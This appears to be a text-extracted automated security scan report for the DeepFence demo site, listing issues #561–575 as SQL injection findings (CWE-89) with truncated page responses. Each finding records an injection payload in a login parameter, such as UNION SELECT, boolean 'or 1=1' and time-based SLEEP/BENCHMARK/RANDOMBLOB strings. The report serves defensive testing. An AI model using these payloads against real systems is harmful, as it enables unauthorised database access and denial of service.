iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #561
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioadmin' #
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #562Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io@@variable
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #563
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL 
SELECTCHAR(88)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #564
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #565
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(
88)+CHAR(88)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #566
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io test%20UNION%20select%201,%20@@version,%201,
%201;
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #567
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL 
SELECTCHAR(88)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #568
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters demouser@deepfence.io admin') or ('1'='1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #569
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 2947=LIKE('ABCDEFG',UPPER(HEX(
RANDOMBLOB(500000000/2))))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@deepfence.io
CWE-ID CWE-89
Issue Number #570
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #571
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin" or "1"="1"--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #572
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'
)),4,5,6,7,8,9,10--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #573Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io" or ""-"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #574
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #575
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin') or '1'='1'/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
